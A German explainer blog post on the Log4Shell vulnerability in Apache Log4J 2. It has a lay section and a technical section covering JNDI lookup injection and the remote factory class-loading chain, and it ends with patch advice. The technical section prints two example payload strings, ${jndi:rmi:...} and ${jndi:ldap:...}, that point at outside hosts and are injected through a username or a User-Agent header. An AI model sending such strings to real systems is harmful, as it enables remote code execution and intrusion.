Tech Explained – DeCoding Log4Shell
Technikfremde Leser:
Log4Shell ist eine Schwachstelle in einer Bibliothek namens Log4J für die Programmiersprache Java. Eine Bibliothek kann man sich wie einen Baustein in der Programmierung vorstellen. Der Entwickler muss die bestimmte Funktion nicht mehr selbst programmieren, sondern kann einfach den fertigen Baustein benutzen. Sehr praktisch! Natürlich nicht so praktisch, wenn es eine Schwachstelle wie Log4Shell in dem Baustein gibt. Doch wie funktioniert Log4Shell? Die Bibliothek bzw. der Baustein Log4J wird zum Loggen verwendet. Das Log kann man sich metaphorisch wie eine Blackbox im Flugzeug vorstellen. Dort lassen die Entwickler das Programm viele Aktivitäten reinschreiben oder eben loggen. Aber warum? Hauptsächlich um Erkenntnisse zu gewinnen. Wenn es beispielsweise ein Problem mit der Software gibt, dann kann man im Log nachschauen, wo die Software abgestürzt ist. Ähnlich wie bei einer Blackbox im Flugzeug. Auch hier möchte man nach einem Absturz genau nachvollziehen, was das Flugzeug zum Absturz gebracht hat. Und wo ist da jetzt die Schwachstelle? Cyberkriminelle können das Loggen benutzen, um Schadcode ausführen zu lassen. Und da dieser dann automatisch ausgeführt wird, steht den Angreifern jede Tür offen: Das System kann zum Beispiel verschlüsselt werden oder Daten können kopiert werden. Der Super-Gau!
Doch warum löste die Schwachstelle in diesem Baustein Ende 2021 die Alarmstufe Rot beim BSI aus? Dafür gibt es zwei Gründe: Zum einen wird die Bibliothek Log4J von sehr vielen Java-Programmen genutzt, und Java ist als Programmiersprache sehr verbreitet. Es sind also sehr viele Systeme bzw. Programme betroffen! Zum anderen ist es für den Angreifer relativ leicht die Schwachstelle auszunutzen. Es gibt also potenziell sehr viele Angreifer, die sehr viele Systeme zur Auswahl haben, um alle möglichen Cyberattacken durchzuführen. Ein richtiger Albtraum!
Als Betroffener kann man nicht viel machen, da man auf die Hilfe des Herstellers angewiesen. Der Hersteller der Software muss schnellstmöglich ein Sicherheitsupdate bereitstellen, welches daraufhin umgehend eingespielt werden muss, um die Angriffe zu verhindern!
Technikaffine Leser:
Am 10.12.2021 wurde die gravierende Schwachstelle Log4Shell (CVE-2021-44228) in Apache Log4J 2 aufgedeckt, die es einem Angreifer ermöglicht, auf dem angegriffenen System beliebigen Code auszuführen. Der Ursprung der Schwachstelle liegt in dem Fakt, dass sich Log4J 2 die Meldungen, die man der Bibliothek übergibt, nicht einfach unverändert ins Log schreibt, sondern dass Log4J dabei Ausdrücke der Form ${<Präfix>:<Value>} auswertet und ersetzt. So kann man z.B. mittels ${sys:<System-Property>} den Wert eines System-Propertys ins Log übernehmen – und mittels ${jndi:<Objektpfad>} ein Remoteobjekt, welches sich Log4J über das JNDI besorgt. Aufmerksame Leser sehen nun bereits die Gefahr. Denn der Angriff erfolgt zweistufig:
Der Angreifer bringt die Anwendung dazu z.B. einen Webserver zu kontaktieren. So kann der Angreifer bei einer Anwendung, die Benutzeranmeldungen mit Log4J protokolliert, seinen Benutzernamen z.B. in ${jndi:rmi:abc.com:8080/d} ändern. Oder er fingiert seinen User-Agent als ${jndi:ldap:efg.com/h}, sollte die Anwendung HTTP-Header mit Log4J loggen.
Der Server antwortet nun mit einer javax.naming.Reference mit drei Angaben zu einem Objekt, das die Anwendung erzeugen soll:
– der Klasse des Objekts
– der Klasse einer Factory, mit der das Objekt erzeugt werden kann
– einen Ort, von dem die Anwendung den Bytecode der Factory herunterladen kann.
Das Objekt und die Factory sind natürlich so gewählt, dass entweder bereits beim Erzeugen des Objekts durch die Factory oder spätestens beim Aufruf der toString-Methode des Objekts Schadcode ausgeführt wird. Damit hat der Angreifer sein Ziel erreicht: eine Remote Code Execution. Das befähigt den Angreifer prinzipiell beliebige Schadcodes auf dem System des Angegriffenen auszuführen.
Als Betroffener kann man sich nur schwer schützen, da man auf die Hilfe der Hersteller angewiesen ist. Die Hersteller müssen Sicherheitsupdates mit der Log4J Version 2.16 (Empfehlung BSI) herausbringen, um die Schwachstelle zu beheben.
